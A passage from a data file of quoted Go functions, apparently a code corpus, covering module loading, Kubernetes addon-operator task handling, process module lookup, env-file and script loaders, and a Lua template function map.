input.\n\t\tdbg.Printf(\"parsing standard input\")\n\t\treturn asm.Parse(\"stdin\", os.Stdin)\n\tdefault:\n\t\tdbg.Printf(\"parsing file %q\", llPath)\n\t\treturn asm.ParseFile(llPath)\n\t}\n}", "func LoadVariable(name string) {\n\toutput.EmitLn(\"MOVE \" + name + \"(PC),D0\")\n}", "func GetModule(moduleName string, processID uint32) (baseAdd uint32, err error) {\n\thModuleSnap := w32.CreateToolhelp32Snapshot(w32.TH32CS_SNAPMODULE, processID)\n\n\tif hModuleSnap < 0 {\n\t\tw32.CloseHandle(hModuleSnap)\n\t\treturn 0, fmt.Errorf(\"failed to take a snapshot of modules\")\n\t}\n\n\tvar modEntry32 w32.MODULEENTRY32\n\tmodEntry32.Size = (uint32)(unsafe.Sizeof(modEntry32))\n\n\tif w32.Module32First(hModuleSnap, &modEntry32) == true {\n\t\tif strings.EqualFold(w32.UTF16PtrToString(&modEntry32.SzModule[0]), moduleName) {\n\t\t\tw32.CloseHandle(hModuleSnap)\n\t\t\treturn *(*uint32)(unsafe.Pointer(&modEntry32.ModBaseAddr)), nil\n\t\t}\n\t}\n\n\tfor w32.Module32Next(hModuleSnap, &modEntry32) {\n\t\tif strings.EqualFold(w32.UTF16PtrToString(&modEntry32.SzModule[0]), moduleName) {\n\t\t\tw32.CloseHandle(hModuleSnap)\n\t\t\treturn *(*uint32)(unsafe.Pointer(&modEntry32.ModBaseAddr)), nil\n\t\t}\n\t}\n\n\tw32.CloseHandle(hModuleSnap)\n\n\treturn 0, fmt.Errorf(\"couldn't find specified module in snapshot of the process\")\n}", "func (op *AddonOperator) HandleModuleRun(t sh_task.Task, labels map[string]string) (res queue.TaskResult) {\n\tdefer trace.StartRegion(context.Background(), \"ModuleRun\").End()\n\tlogEntry := log.WithFields(utils.LabelsToLogFields(labels))\n\n\thm := task.HookMetadataAccessor(t)\n\tmodule := op.ModuleManager.GetModule(hm.ModuleName)\n\n\t// Break error loop when module becomes disabled.\n\tif !op.ModuleManager.IsModuleEnabled(module.Name) {\n\t\tres.Status = queue.Success\n\t\treturn\n\t}\n\n\tmetricLabels := map[string]string{\n\t\t\"module\": hm.ModuleName,\n\t\t\"activation\": labels[\"event.type\"],\n\t}\n\n\tdefer measure.Duration(func(d time.Duration) {\n\t\top.MetricStorage.HistogramObserve(\"{PREFIX}module_run_seconds\", d.Seconds(), metricLabels, nil)\n\t})()\n\n\tvar moduleRunErr error\n\tvaluesChanged := false\n\n\t// First module run on operator startup or when module is enabled.\n\tif module.State.Phase == module_manager.Startup {\n\t\t// Register module hooks on every enable.\n\t\tmoduleRunErr = op.ModuleManager.RegisterModuleHooks(module, labels)\n\t\tif moduleRunErr == nil {\n\t\t\tif hm.DoModuleStartup {\n\t\t\t\tlogEntry.Debugf(\"ModuleRun '%s' phase\", module.State.Phase)\n\n\t\t\t\ttreg := trace.StartRegion(context.Background(), \"ModuleRun-OnStartup\")\n\n\t\t\t\t// Start queues for module hooks.\n\t\t\t\top.CreateAndStartQueuesForModuleHooks(module.Name)\n\n\t\t\t\t// Run onStartup hooks.\n\t\t\t\tmoduleRunErr = module.RunOnStartup(t.GetLogLabels())\n\t\t\t\tif moduleRunErr == nil {\n\t\t\t\t\tmodule.State.Phase = module_manager.OnStartupDone\n\t\t\t\t}\n\t\t\t\ttreg.End()\n\t\t\t} else {\n\t\t\t\tmodule.State.Phase = module_manager.OnStartupDone\n\t\t\t}\n\t\t}\n\t}\n\n\tif module.State.Phase == module_manager.OnStartupDone {\n\t\tlogEntry.Debugf(\"ModuleRun '%s' phase\", module.State.Phase)\n\t\tif module.HasKubernetesHooks() {\n\t\t\tmodule.State.Phase = module_manager.QueueSynchronizationTasks\n\t\t} else {\n\t\t\t// Skip Synchronization process if there are no kubernetes hooks.\n\t\t\tmodule.State.Phase = module_manager.EnableScheduleBindings\n\t\t}\n\t}\n\n\t// Note: All hooks should be queued to fill snapshots before proceed to beforeHelm hooks.\n\tif module.State.Phase == module_manager.QueueSynchronizationTasks {\n\t\tlogEntry.Debugf(\"ModuleRun '%s' phase\", module.State.Phase)\n\n\t\t// ModuleHookRun.Synchronization tasks for bindings with the \"main\" queue.\n\t\tmainSyncTasks := make([]sh_task.Task, 0)\n\t\t// ModuleHookRun.Synchronization tasks to add in parallel queues.\n\t\tparallelSyncTasks := make([]sh_task.Task, 0)\n\t\t// Wait for these ModuleHookRun.Synchronization tasks from parallel queues.\n\t\tparallelSyncTasksToWait := make([]sh_task.Task, 0)\n\n\t\t// Start monitors for each kubernetes binding in each module hook.\n\t\terr := op.ModuleManager.HandleModuleEnableKubernetesBindings(hm.ModuleName, func(hook *module_manager.ModuleHook, info controller.BindingExecutionInfo) {\n\t\t\tqueueName := info.QueueName\n\t\t\ttaskLogLabels := utils.MergeLabels(t.GetLogLabels(), map[string]string{\n\t\t\t\t\"binding\": string(htypes.OnKubernetesEvent) + \"Synchronization\",\n\t\t\t\t\"module\": hm.ModuleName,\n\t\t\t\t\"hook\": hook.GetName(),\n\t\t\t\t\"hook.type\": \"module\",\n\t\t\t\t\"queue\": queueName,\n\t\t\t})\n\t\t\tif len(info.BindingContext) > 0 {\n\t\t\t\ttaskLogLabels[\"binding.name\"] = info.BindingContext[0].Binding\n\t\t\t}\n\t\t\tdelete(taskLogLabels, \"task.id\")\n\n\t\t\tkubernetesBindingID := uuid.NewV4().String()\n\t\t\ttaskMeta := task.HookMetadata{\n\t\t\t\tEventDescription: hm.EventDescription,\n\t\t\t\tModuleName: hm.ModuleName,\n\t\t\t\tHookName: hook.GetName(),\n\t\t\t\tBindingType: htypes.OnKubernetesEvent,\n\t\t\t\tBindingContext: info.BindingContext,\n\t\t\t\tAllowFailure: info.AllowFailure,\n\t\t\t\tKubernetesBindingId: kubernetesBindingID,\n\t\t\t\tWaitForSynchronization: info.KubernetesBinding.WaitForSynchronization,\n\t\t\t\tMonitorIDs: []string{info.KubernetesBinding.Monitor.Metadata.MonitorId},\n\t\t\t\tExecuteOnSynchronization: info.KubernetesBinding.ExecuteHookOnSynchronization,\n\t\t\t}\n\t\t\tnewTask := sh_task.NewTask(task.ModuleHookRun).\n\t\t\t\tWithLogLabels(taskLogLabels).\n\t\t\t\tWithQueueName(queueName).\n\t\t\t\tWithMetadata(taskMeta)\n\t\t\tnewTask.WithQueuedAt(time.Now())\n\n\t\t\tif info.QueueName == t.GetQueueName() {\n\t\t\t\t// Ignore \"waitForSynchronization: false\" for hooks in the main queue.\n\t\t\t\t// There is no way to not wait for these hooks.\n\t\t\t\tmainSyncTasks = append(mainSyncTasks, newTask)\n\t\t\t} else {\n\t\t\t\t// Do not wait for parallel hooks on \"waitForSynchronization: false\".\n\t\t\t\tif info.KubernetesBinding.WaitForSynchronization {\n\t\t\t\t\tparallelSyncTasksToWait = append(parallelSyncTasksToWait, newTask)\n\t\t\t\t} else {\n\t\t\t\t\tparallelSyncTasks = append(parallelSyncTasks, newTask)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t\tif err != nil {\n\t\t\t// Fail to enable bindings: cannot start Kubernetes monitors.\n\t\t\tmoduleRunErr = err\n\t\t} else {\n\t\t\t// Queue parallel tasks that should be waited.\n\t\t\tfor _, tsk := range parallelSyncTasksToWait {\n\t\t\t\tq := op.TaskQueues.GetByName(tsk.GetQueueName())\n\t\t\t\tif q == nil {\n\t\t\t\t\tlogEntry.Errorf(\"queue %s is not found while EnableKubernetesBindings task\", tsk.GetQueueName())\n\t\t\t\t} else {\n\t\t\t\t\tthm := task.HookMetadataAccessor(tsk)\n\t\t\t\t\tq.AddLast(tsk)\n\t\t\t\t\tmodule.State.Synchronization().QueuedForBinding(thm)\n\t\t\t\t}\n\t\t\t}\n\t\t\top.logTaskAdd(logEntry, \"append\", parallelSyncTasksToWait...)\n\n\t\t\t// Queue regular parallel tasks.\n\t\t\tfor _, tsk := range parallelSyncTasks {\n\t\t\t\tq := op.TaskQueues.GetByName(tsk.GetQueueName())\n\t\t\t\tif q == nil {\n\t\t\t\t\tlogEntry.Errorf(\"queue %s is not found while EnableKubernetesBindings task\", tsk.GetQueueName())\n\t\t\t\t} else {\n\t\t\t\t\tq.AddLast(tsk)\n\t\t\t\t}\n\t\t\t}\n\t\t\top.logTaskAdd(logEntry, \"append\", parallelSyncTasks...)\n\n\t\t\tif len(parallelSyncTasksToWait) == 0 {\n\t\t\t\t// Skip waiting tasks in parallel queues, proceed to schedule bindings.\n\t\t\t\tmodule.State.Phase = module_manager.EnableScheduleBindings\n\t\t\t} else {\n\t\t\t\t// There are tasks to wait.\n\t\t\t\tmodule.State.Phase = module_manager.WaitForSynchronization\n\t\t\t\tlogEntry.WithField(\"module.state\", \"wait-for-synchronization\").\n\t\t\t\t\tDebugf(\"ModuleRun wait for Synchronization\")\n\t\t\t}\n\n\t\t\t// Put Synchronization tasks for kubernetes hooks before ModuleRun task.\n\t\t\tif len(mainSyncTasks) > 0 {\n\t\t\t\tres.HeadTasks = mainSyncTasks\n\t\t\t\tres.Status = queue.Keep\n\t\t\t\top.logTaskAdd(logEntry, \"head\", mainSyncTasks...)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\t// Repeat ModuleRun if there are running Synchronization tasks to wait.\n\tif module.State.Phase == module_manager.WaitForSynchronization {\n\t\tif module.State.Synchronization().IsComplete() {\n\t\t\t// Proceed with the next phase.\n\t\t\tmodule.State.Phase = module_manager.EnableScheduleBindings\n\t\t\tlogEntry.Info(\"Synchronization done for module hooks\")\n\t\t} else {\n\t\t\t// Debug messages every fifth second: print Synchronization state.\n\t\t\tif time.Now().UnixNano()%5000000000 == 0 {\n\t\t\t\tlogEntry.Debugf(\"ModuleRun wait Synchronization state: moduleStartup:%v syncNeeded:%v syncQueued:%v syncDone:%v\", hm.DoModuleStartup, module.SynchronizationNeeded(), module.State.Synchronization().HasQueued(), module.State.Synchronization().IsComplete())\n\t\t\t\tmodule.State.Synchronization().DebugDumpState(logEntry)\n\t\t\t}\n\t\t\tlogEntry.Debugf(\"Synchronization not complete, keep ModuleRun task in repeat mode\")\n\t\t\tt.WithQueuedAt(time.Now())\n\t\t\tres.Status = queue.Repeat\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Enable schedule events once at module start.\n\tif module.State.Phase == module_manager.EnableScheduleBindings {\n\t\tlogEntry.Debugf(\"ModuleRun '%s' phase\", module.State.Phase)\n\n\t\top.ModuleManager.EnableModuleScheduleBindings(hm.ModuleName)\n\t\tmodule.State.Phase = module_manager.CanRunHelm\n\t}\n\n\t// Module start is done, module is ready to run hooks and helm chart.\n\tif module.State.Phase == module_manager.CanRunHelm {\n\t\tlogEntry.Debugf(\"ModuleRun '%s' phase\", module.State.Phase)\n\t\t// run beforeHelm, helm, afterHelm\n\t\tvaluesChanged, moduleRunErr = module.Run(t.GetLogLabels())\n\t}\n\n\tmodule.State.LastModuleErr = moduleRunErr\n\tif moduleRunErr != nil {\n\t\tres.Status = queue.Fail\n\t\tlogEntry.Errorf(\"ModuleRun failed in phase '%s'. Requeue task to retry after delay. Failed count is %d. Error: %s\", module.State.Phase, t.GetFailureCount()+1, moduleRunErr)\n\t\top.MetricStorage.CounterAdd(\"{PREFIX}module_run_errors_total\", 1.0, map[string]string{\"module\": hm.ModuleName})\n\t\tt.UpdateFailureMessage(moduleRunErr.Error())\n\t\tt.WithQueuedAt(time.Now())\n\t} else {\n\t\tres.Status = queue.Success\n\t\tif valuesChanged {\n\t\t\tlogEntry.Infof(\"ModuleRun success, values changed, restart module\")\n\t\t\t// One of afterHelm hooks changes values, run ModuleRun again: copy task, but disable startup hooks.\n\t\t\thm.DoModuleStartup = false\n\t\t\thm.EventDescription = \"AfterHelm-Hooks-Change-Values\"\n\t\t\tnewLabels := utils.MergeLabels(t.GetLogLabels())\n\t\t\tdelete(newLabels, \"task.id\")\n\t\t\tnewTask := sh_task.NewTask(task.ModuleRun).\n\t\t\t\tWithLogLabels(newLabels).\n\t\t\t\tWithQueueName(t.GetQueueName()).\n\t\t\t\tWithMetadata(hm)\n\n\t\t\tres.AfterTasks = []sh_task.Task{newTask.WithQueuedAt(time.Now())}\n\t\t\top.logTaskAdd(logEntry, \"after\", res.AfterTasks...)\n\t\t} else {\n\t\t\tlogEntry.Infof(\"ModuleRun success, module is ready\")\n\t\t}\n\t}\n\treturn\n}", "func (vm *VotingMachine) InitModule(hs *hotstuff.HotStuff, _ *hotstuff.OptionsBuilder) {\n\tvm.mod = hs\n}", "func Load(filename string) (b []byte, err error) {\n\tfor i := range _loadFuncs {\n\t\tload := _loadFuncs[len(_loadFuncs)-1-i]\n\t\tb, err = load(filename)\n\t\tif err == nil {\n\t\t\treturn\n\t\t}\n\t}\n\treturn\n}", "func Load() {\n\tloadNS()\n\tloadRoot()\n}", "func (mod *UserModule) Execute(ctx context.Context, exec ctxt.Executor) ([]byte, []byte, error) {\n\ta, b, err := exec.Execute(ctx, mod.cmd, true)\n\tif err != nil {\n\t\tswitch mod.config.Action {\n\t\tcase UserActionAdd:\n\t\t\treturn a, b, ErrUserAddFailed.\n\t\t\t\tWrap(err, \"Failed to create new system user '%s' on remote host\", mod.config.Name)\n\t\tcase UserActionDel:\n\t\t\treturn a, b, ErrUserDeleteFailed.\n\t\t\t\tWrap(err, \"Failed to delete system user '%s' on remote host\", mod.config.Name)\n\t\t}\n\t}\n\treturn a, b, nil\n}", "func Load(entryfile string) error {\n\tpkgs := starlark.StringDict{\n\t\t\"git_repository\": NewGitRepoBuiltin(),\n\t}\n\tthread := &starlark.Thread{\n\t\tLoad: loader.NewModulesLoaderWithPredeclaredPkgs(filepath.Dir(entryfile), pkgs).Load,\n\t}\n\n\tabsPath, err := filepath.Abs(entryfile)\n\tif err != nil {\n\t\treturn err\n\t}\n\tbytes, err := ioutil.ReadFile(absPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = starlark.ExecFile(thread, entryfile, bytes, pkgs)\n\treturn err\n}", "func (function *Function) Load() (err error) {\n\tdefinition, err := ioutil.ReadFile(function.Path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfunction.Definition = string(definition)\n\n\treturn\n}", "func (ctx *Context) loadModule(id string, instance interface{}) error {\n\tif prov, ok := instance.(Provisioner); ok {\n\t\t// The instance can be provisioned.\n\t\terr := prov.Provision(ctx)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"provision module %s: %w\", id, err)\n\t\t}\n\t}\n\n\tif validator, ok := instance.(Validator); ok {\n\t\t// The instance can be validated.\n\t\terr := validator.Validate()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"validate module %s: %w\", id, err)\n\t\t}\n\t}\n\n\tctx.moduleInstances[id] = instance\n\n\treturn nil\n}", "func loadIPVModule() error {\n\tout, err := k8sexec.New().Command(\"modprobe\", \"ip_vs\").CombinedOutput()\n\tif err != nil {\n\t\tglog.V(2).Infof(\"Error loading ip_vip: %s, %v\", string(out), err)\n\t\treturn err\n\t}\n\n\t_, err = os.Stat(\"/proc/net/ip_vs\")\n\treturn err\n}", "func Load(vm *otto.Otto, src io.Reader) (*Config, []*js.TestConfig, error) {\n\tconfigVM := vm.Copy() // avoid polluting the global namespace\n\tctx := new(ctx)\n\n\tconfigVM.Set(\"settings\", ctx.ottoFuncSettings)\n\tconfigVM.Set(\"file\", ctx.ottoFuncFile)\n\tconfigVM.Set(\"register_test\", ctx.ottoFuncRegisterTest)\n\n\tif err := jsctx.LoadStdLib(context.Background(), configVM, \"std\"); err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"can't load stdlib: %v\", err)\n\t}\n\n\tsource, err := ioutil.ReadAll(src)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"can't read config file: %v\", err)\n\t}\n\n\tif _, err := configVM.Run(source); err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"can't apply configuration: %v\", err)\n\t}\n\n\tif ctx.cfg == nil {\n\t\tctx.cfg = new(Config)\n\t}\n\treturn ctx.cfg, ctx.tests, nil\n}", "func Program(importPath string) (*loader.Program, error) {\n\tcacheLock.Lock()\n\tdefer cacheLock.Unlock()\n\tif p := importCache[importPath]; p != nil {\n\t\treturn p, nil\n\t}\n\tloadConfig.Import(importPath)\n\tp, err := loadConfig.Load()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\timportCache[importPath] = p\n\treturn p, err\n}", "func Read(r io.Reader, ig ImportedGlobals) (*Module, error) {\n\tm, err := wasm.ReadModule(r, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn ReadModule(m, ig)\n}", "func (f *Function) Module() *Module {\n\tcmodname := C.EnvDeffunctionModule(f.env.env, f.fptr)\n\tmodptr := C.EnvFindDefmodule(f.env.env, cmodname)\n\n\treturn createModule(f.env, modptr)\n}", "func Read(moduleFile string) (Module, error) {\n\tf, err := os.Open(moduleFile)\n\tif err != nil {\n\t\treturn Module{}, err\n\t}\n\n\tdefer f.Close()\n\n\theader := vputils.ReadString(f)\n\tif header != \"module\" {\n\t\treturn Module{}, errors.New(\"Did not find module header\")\n\t}\n\n\theader = vputils.ReadString(f)\n\tif header != \"properties\" {\n\t\treturn Module{}, errors.New(\"Did not find properties header\")\n\t}\n\n\tproperties, err := vputils.ReadTextTable(f)\n\tif err != nil {\n\t\treturn Module{}, err\n\t}\n\n\theader = vputils.ReadString(f)\n\tif header != \"exports\" {\n\t\treturn Module{}, errors.New(\"Did not find exports header\")\n\t}\n\n\texports, err := vputils.ReadTextTable(f)\n\tif err != nil {\n\t\treturn Module{}, err\n\t}\n\n\theader = vputils.ReadString(f)\n\tif header != \"code_properties\" {\n\t\treturn Module{}, errors.New(\"Did not find code_properties header\")\n\t}\n\n\tcodeProperties, err := vputils.ReadTextTable(f)\n\tif err != nil {\n\t\treturn Module{}, err\n\t}\n\n\tcodeAddressWidth := 1\n\n\theader = vputils.ReadString(f)\n\tif header != \"code\" {\n\t\treturn Module{}, errors.New(\"Did not find code header\")\n\t}\n\n\tcode, err := vputils.ReadBinaryBlock(f, codeAddressWidth)\n\tif err != nil {\n\t\treturn Module{}, err\n\t}\n\n\tcodePage := Page{codeProperties, code, codeAddressWidth}\n\n\theader = vputils.ReadString(f)\n\tif header != \"data_properties\" {\n\t\treturn Module{}, errors.New(\"Did not find data_properties header\")\n\t}\n\n\tdataProperties, err := vputils.ReadTextTable(f)\n\tif err != nil {\n\t\treturn Module{}, err\n\t}\n\n\tdataAddressWidth := 1\n\n\theader = vputils.ReadString(f)\n\tif header != \"data\" {\n\t\treturn Module{}, errors.New(\"Did not find data header\")\n\t}\n\n\tdata, err := vputils.ReadBinaryBlock(f, dataAddressWidth)\n\tif err != nil {\n\t\treturn Module{}, err\n\t}\n\n\tdataPage := Page{dataProperties, data, dataAddressWidth}\n\n\t// TODO: check data page datawidth is the same as code page datawidth\n\n\tmod := Module{\n\t\tProperties: properties,\n\t\tCodePage: codePage,\n\t\tExports: exports,\n\t\tDataPage: dataPage,\n\t\tCodeAddressWidth: codeAddressWidth,\n\t\tDataAddressWidth: dataAddressWidth,\n\t}\n\n\tmod.Init()\n\n\treturn mod, nil\n}", "func NewJsEvalModule(bot *common.Bot) *JsEval {\n jsEval := &JsEval {\n bot: bot,\n vm: otto.New(),\n }\n return jsEval\n}", "func main() {\n\tmodule.Create(\"init\", 0)\n\tmodule.Log()\n\tReadLine(\"D:/input.txt\", processLine)\n\tmodule.Show_pcb(\"r\")\n\tfmt.Println()\n\tmodule.List_all_process()\n\tfmt.Println()\n\tmodule.List_all_resource()\n}", "func AddModule(id string, m ModuleLoader) {\n globalModules[id] = m\n}", "func (p *Puck) Load(name ...string) error {\n\tcmd := []byte(\"load();\\n\")\n\terr := p.command(name, cmd)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (c commandRegistry) Get(moduleName string) moduleCommands {\n\tif mcs, ok := c[moduleName]; ok {\n\t\treturn mcs\n\t}\n\tres := make(moduleCommands)\n\tc[moduleName] = res\n\treturn res\n}", "func (l *loader) loadFunc() build.LoadFunc {\n\n\treturn func(pos token.Pos, path string) *build.Instance {\n\t\tcfg := l.cfg\n\n\t\timpPath := importPath(path)\n\t\tif isLocalImport(path) {\n\t\t\treturn cfg.newErrInstance(pos, impPath,\n\t\t\t\terrors.Newf(pos, \"relative import paths not allowed (%q)\", path))\n\t\t}\n\n\t\t// is it a builtin?\n\t\tif strings.IndexByte(strings.Split(path, \"/\")[0], '.') == -1 {\n\t\t\tif l.cfg.StdRoot != \"\" {\n\t\t\t\tp := cfg.newInstance(pos, impPath)\n\t\t\t\t_ = l.importPkg(pos, p)\n\t\t\t\treturn p\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\n\t\tp := cfg.newInstance(pos, impPath)\n\t\t_ = l.importPkg(pos, p)\n\t\treturn p\n\t}\n}", "func (node *Node) RunModules(req http.Request) *http.Status {\n\n\tfor _, module := range node.Modules {\n\t\tstatus := module.Run(req)\n\t\tif status != nil {\n\t\t\treturn status\n\t\t}\n\t}\n\n\treturn nil\n}", "func (receiver envVariable) Load() string {\n\treturn os.Getenv(string(receiver))\n}", "func Load(filenames ...string) error {\n\tif len(filenames) == 0 {\n\t\tfilenames = envFileNames\n\t}\n\n\t// load files\n\tfiles, err := loadFiles(false, filenames...)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tglobalEnvMap := NewMap()\n\n\t// parse files\n\tfor _, content := range files {\n\t\t// parse file\n\t\temap := Parse(content)\n\n\t\tglobalEnvMap.SetMap(emap)\n\t}\n\n\tif len(adapters) != 0 {\n\t\t// run pull secrets from adapters\n\t\tfor _, adapter := range adapters {\n\n\t\t\t// pulling secrets\n\t\t\temap, err := adapter.Pull()\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error occured running adapter: %s\", err)\n\t\t\t}\n\n\t\t\t// set adapters EnvMap to global EnvMap\n\t\t\tglobalEnvMap.SetMap(emap)\n\t\t}\n\t}\n\n\t// set env map to env\n\terr = setEnvMap(globalEnvMap)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (r *Registry) Load(relPath string) (value interface{}, ok bool) {\n\t_, filename, _, _ := runtime.Caller(1)\n\tdir, _ := filepath.Split(filename)\n\treturn r.db.Load(filepath.Join(dir, relPath))\n}", "func Core(proc *core.Process) (p *Process, err error) {\n\t// Make sure we have DWARF info.\n\tif _, err := proc.DWARF(); err != nil {\n\t\treturn nil, fmt.Errorf(\"error reading dwarf: %w\", err)\n\t}\n\n\t// Guard against failures of proc.Read* routines.\n\t/*\n\t\tdefer func() {\n\t\t\te := recover()\n\t\t\tif e == nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tp = nil\n\t\t\tif x, ok := e.(error); ok {\n\t\t\t\terr = x\n\t\t\t\treturn\n\t\t\t}\n\t\t\tpanic(e) // Not an error, re-panic it.\n\t\t}()\n\t*/\n\n\tp = &Process{\n\t\tproc: proc,\n\t\truntimeMap: map[core.Address]*Type{},\n\t\tdwarfMap: map[dwarf.Type]*Type{},\n\t}\n\n\t// Initialize everything that just depends on DWARF.\n\tp.readDWARFTypes()\n\tp.readRuntimeConstants()\n\tp.readGlobals()\n\n\t// Find runtime globals we care about. Initialize regions for them.\n\tp.rtGlobals = map[string]region{}\n\tfor _, g := range p.globals {\n\t\tif strings.HasPrefix(g.Name, \"runtime.\") {\n\t\t\tp.rtGlobals[g.Name[8:]] = region{p: p, a: g.Addr, typ: g.Type}\n\t\t}\n\t}\n\n\t// Read all the data that depend on runtime globals.\n\tp.buildVersion = p.rtGlobals[\"buildVersion\"].String()\n\n\t// runtime._type varint name length encoding, and mheap curArena\n\t// counting changed behavior in 1.17 without explicitly related type\n\t// changes, making the difference difficult to detect. As a workaround,\n\t// we check on the version explicitly.\n\t//\n\t// Go 1.17 added runtime._func.flag, so use that as a sentinal for this\n\t// version.\n\tp.is117OrGreater = p.findType(\"runtime._func\").HasField(\"flag\")\n\n\tp.readModules()\n\tp.readHeap()\n\tp.readGs()\n\tp.readStackVars() // needs to be after readGs.\n\tp.markObjects() // needs to be after readGlobals, readStackVars.\n\n\treturn p, nil\n}", "func (s *Service) load(m Module) {\n\tmoduleName := getModuleName(m)\n\tconfig, ok := s.configs[moduleName]\n\tif ok {\n\t\tpanic(\"cycle: \" + moduleName)\n\t} else if config != nil {\n\t\tBootPrintln(\"skipping already initialized module\", moduleName)\n\t\treturn\n\t}\n\n\ts.configs[moduleName] = nil\n\tconfig = &Config{parent: m, service: s}\n\tBootPrintln(\"[service] initializing\", moduleName)\n\tm.Init(config)\n\n\tv := reflect.ValueOf(m)\n\tif v.Kind() == reflect.Ptr {\n\t\tv = v.Elem()\n\t}\n\tfor i := 0; i < v.NumField(); i++ {\n\t\tf := v.Field(i)\n\t\tif f.Kind() != reflect.Ptr {\n\t\t\tcontinue\n\t\t}\n\n\t\t// check if field is a module\n\t\tval := reflect.New(f.Type().Elem())\n\t\tdep, ok := val.Interface().(Module)\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\n\t\t// warn on unexported modules\n\t\tif !f.CanSet() {\n\t\t\tBootPrintln(\"[service] warning: unexported module in\", moduleName, f.String())\n\t\t\tcontinue\n\t\t}\n\n\t\t// reuse already initialized values\n\t\tif n := s.configs[getModuleName(dep)]; n != nil {\n\t\t\tf.Set(reflect.ValueOf(n.parent))\n\t\t\tcontinue\n\t\t}\n\n\t\t// set the field and initialize the field\n\t\tf.Set(val)\n\t\ts.load(dep)\n\t}\n\ts.modules = append(s.modules, m)\n\ts.configs[moduleName] = config\n}", "func (ac *Config) LuaFunctionMap(w http.ResponseWriter, req *http.Request, luadata []byte, filename string) (template.FuncMap, error) {\n\tac.pongomutex.Lock()\n\tdefer ac.pongomutex.Unlock()\n\n\t// Retrieve a Lua state\n\tL := ac.luapool.Get()\n\tdefer ac.luapool.Put(L)\n\n\t// Prepare an empty map of functions (and variables)\n\tfuncs := make(template.FuncMap)\n\n\t// Give no filename (an empty string will be handled correctly by the function).\n\tac.LoadCommonFunctions(w, req, filename, L, nil, nil)\n\n\t// Run the script\n\tif err := L.DoString(string(luadata)); err != nil {\n\t\t// Close the Lua state\n\t\tL.Close()\n\n\t\t// Logging and/or HTTP response is handled elsewhere\n\t\treturn funcs, err\n\t}\n\n\t// Extract the available functions from the Lua state\n\tglobalTable := L.G.Global\n\tglobalTable.ForEach(func(key, value lua.LValue) {\n\t\t// Check if the current value is a string variable\n\t\tif luaString, ok := value.(lua.LString); ok {\n\t\t\t// Store the variable in the same map as the functions (string -> interface)\n\t\t\t// for ease of use together with templates.\n\t\t\tfuncs[key.String()] = luaString.String()\n\t\t} else if luaTable, ok := value.(*lua.LTable); ok {\n\n\t\t\t// Convert the table to a map and save it.\n\t\t\t// Ignore values of a different type.\n\t\t\tmapinterface, _ := convert.Table2map(luaTable, false)\n\t\t\tswitch m := mapinterface.(type) {\n\t\t\tcase map[string]string:\n\t\t\t\tfuncs[key.String()] = map[string]string(m)\n\t\t\tcase map[string]int:\n\t\t\t\tfuncs[key.String()] = map[string]int(m)\n\t\t\tcase map[int]string:\n\t\t\t\tfuncs[key.String()] = map[int]string(m)\n\t\t\tcase map[int]int:\n\t\t\t\tfuncs[key.String()] = map[int]int(m)\n\t\t\t}\n\n\t\t\t// Check if the current value is a function\n\t\t} else if luaFunc, ok := value.(*lua.LFunction); ok {\n\t\t\t// Only export the functions defined in the given Lua code,\n\t\t\t// not all the global functions. IsG is true if the function is global.\n\t\t\tif !luaFunc.IsG {\n\n\t\t\t\tfunctionName := key.String()\n\n\t\t\t\t// Register the function, with a variable number of string arguments\n\t\t\t\t// Functions returning (string, error) are supported by html.template\n\t\t\t\tfuncs[functionName] = func(args ...string) (any, error) {\n\t\t\t\t\t// Create a brand new Lua state\n\t\t\t\t\tL2 := ac.luapool.New()\n\t\t\t\t\tdefer L2.Close()\n\n\t\t\t\t\t// Set up a new Lua state with the current http.ResponseWriter and *http.Request\n\t\t\t\t\tac.LoadCommonFunctions(w, req, filename, L2, nil, nil)\n\n\t\t\t\t\t// Push the Lua function to run\n\t\t\t\t\tL2.Push(luaFunc)\n\n\t\t\t\t\t// Push the given arguments\n\t\t\t\t\tfor _, arg := range args {\n\t\t\t\t\t\tL2.Push(lua.LString(arg))\n\t\t\t\t\t}\n\n\t\t\t\t\t// Run the Lua function\n\t\t\t\t\terr := L2.PCall(len(args), lua.MultRet, nil)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t// If calling the function did not work out, return the infostring and error\n\t\t\t\t\t\treturn utils.Infostring(functionName, args), err\n\t\t\t\t\t}\n\n\t\t\t\t\t// Empty return value if no values were returned\n\t\t\t\t\tvar retval any\n\n\t\t\t\t\t// Return the first of the returned arguments, as a string\n\t\t\t\t\tif L2.GetTop() >= 1 {\n\t\t\t\t\t\tlv := L2.Get(-1)\n\t\t\t\t\t\ttbl, isTable := lv.(*lua.LTable)\n\t\t\t\t\t\tswitch {\n\t\t\t\t\t\tcase isTable:\n\t\t\t\t\t\t\t// lv was a Lua Table\n\t\t\t\t\t\t\tretval = gluamapper.ToGoValue(tbl, gluamapper.Option{\n\t\t\t\t\t\t\t\tNameFunc: func(s string) string {\n\t\t\t\t\t\t\t\t\treturn s\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\tif ac.debugMode && ac.verboseMode {\n\t\t\t\t\t\t\t\tlog.Info(utils.Infostring(functionName, args) + \" -> (map)\")\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\tcase lv.Type() == lua.LTString:\n\t\t\t\t\t\t\t// lv is a Lua String\n\t\t\t\t\t\t\tretstr := L2.ToString(1)\n\t\t\t\t\t\t\tretval = 